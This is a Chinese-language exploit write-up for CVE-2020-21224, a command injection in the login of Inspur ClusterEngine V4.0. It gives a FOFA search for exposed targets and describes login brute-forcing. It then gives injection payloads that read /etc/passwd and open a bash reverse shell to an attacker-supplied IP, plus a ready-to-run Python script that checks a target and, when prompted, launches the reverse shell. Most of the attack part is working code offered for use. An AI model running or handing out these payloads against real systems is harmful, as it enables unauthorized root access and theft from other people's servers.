# 浪潮ClusterEngineV4.0 远程命令执行漏洞 CVE-2020-21224 ## 漏洞描述 浪潮服务器群集管理系统存在危险字符未过滤,导致远程命令执行 ## 漏洞影响 ``` 浪潮ClusterEngineV4.0 ``` ## FOFA ``` title="TSCEV4.0" ``` ## 漏洞复现 登录页面如下 ![](./images/202202091847442.png) 由于登录页面没有发现验证码,进行账号爆破 当burpsuite爆破完成时,注意到POST数据中如果带有 ;' ,响应数据包发生异常。 ![](./images/202202091847752.png) 通过响应包信息,猜测可能存在一个远程执行代码漏洞,并将此数据包放在repeater中,我发现如果发布数据中有 一个 ' ,系统将抛出异常。 ![](./images/202202091847377.png) ![4](./images/202202091847382.png) 进一步测试时,我发现username参数或password任一参数如果包含 ' ,将引发此异常 ![](./images/202202091847158.png) 定尝试发送 ' ' 来查看响应包。 ![](./images/202202091848777.png) 我注意到 grep 命令错误,服务端的代码可能是这样 ```shell var1 = `grep xxxx` var2 = $(python -c "from crypt import crypt;print crypt('$username','$1$$var1')") ``` 尝试发送 -V 和 --help 来查看响应包,响应包证实了猜测 ![](./images/202202091848195.png) ![8](./images/202202091848197.png) 尝试读取 **/etc/passswd** ![](./images/202202091848409.png) 尝试列目录 ![](./images/202202091848084.png) 确认存在一个远程执行命令执行漏洞,经过fuzz,得到以下payload ![](./images/202202091848053.png) ![12](./images/202202091848057.png) 反弹 shell ```shell op=login&username=1 2\',\'1\'\); `bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.16.11.81%2F80%200%3E%261` ``` payload发送后, 在 kali linux 服务器上获取了一个 root 权限的 shell ![](./images/202202091848952.png) 上面是原文的测试思路,但经过重新测试之后发现还有另一种简单方法 ```plain POC测试(出现 root:x:0:0 则存在漏洞) op=login&username=test`$(cat /etc/passwd)` {"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":1,"out":"the user test does not exist\nerror:1\n"} 反弹shell op=login&username=test`$(bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}}%2F{PORT}%200%3E%261)` ``` ![](./images/202202091849501.png) ## 漏洞POC ```python import requests import sys import random import re from requests.packages.urllib3.exceptions import InsecureRequestWarning def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: 浪潮ClusterEngineV4.0 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+ \033[36mIP >>> xxx.xxx.xxx.xxx:9999 \033[0m') print('+ \033[36mPORT >>> 9999 \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/login" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", } data = "op=login&username=test`$(cat /etc/passwd)`" try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=4) etc_passwd = re.findall(r'\{"err":"/bin/sh: (.*?): No such', response.text) if response.status_code == 200 and "root:x:0:0" in response.text: print("\033[32m[o] 目标 {} 可能存在漏洞, 响应为:{} \033[0m".format(target_url, etc_passwd[0])) POC_2(target_url) else: print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url)) except Exception as e: print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url)) def POC_2(target_url): IP = str(input("\033[35m请输入监听IP >>> \033[0m")) PORT = str(input("\033[35m请输入监听PORT >>> \033[0m")) vuln_url = target_url + "/login" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", } data = "op=login&username=`bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`".format(IP, PORT) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, headers=headers, data=data, verify=False) except Exception as e: print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url)) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url) ``` ![](./images/202202091849410.png)